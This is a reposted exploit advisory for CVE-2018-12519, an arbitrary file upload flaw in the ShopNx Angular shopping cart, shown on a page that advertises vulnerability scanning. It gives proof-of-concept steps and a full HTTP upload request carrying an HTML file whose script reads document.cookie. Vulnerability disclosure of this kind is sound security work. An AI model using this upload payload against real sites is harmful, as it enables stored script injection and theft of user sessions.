shopnx arbitrary file upload

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




shopnx arbitrary file upload Code Code...
				
# Exploit Title: ShopNx - Angular5 Single Page Shopping Cart Application 1 - Arbitrary File Upload # Date: 2018-07-03 # Exploit Author: L0RD # Email: borna.nematzadeh123@gmail.com # Vendor Homepage: http://codenx.com/ # Version: 1 # CVE: CVE-2018-12519 # Tested on: Win 10 =================================================== # Description : ShopNx 1 is an Angular 5 single page application which suffers from arbitrary file upload vulnerability . Attacker can upload malicious files on server because the application fails to sufficiently sanitize user-supplied input. # POC : 1) Login as a regular user and navigate to "edit profile" 2) Click on "Avatar" and upload your HTML file which contains malicious javascript code. 3) You can find your uploaded file here : Path : http://shop.codenx.com/uploads/[Your File] # Request : ========================= POST /api/media HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://site.com/account/edit-profile Content-Length: 367 Content-Type: multipart/form-data; boundary=---------------------------31031276124582 Connection: keep-alive -----------------------------31031276124582 Content-Disposition: form-data; name="file"; filename="file.html" Content-Type: text/html <html> <head> <title>TEST</title> </head> <body> <script> console.log(document.cookie); </script> </body> </html> -----------------------------31031276124582-- ====================================================

Shopnx arbitrary file upload Vulnerability / Exploit Source : Shopnx arbitrary file upload



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.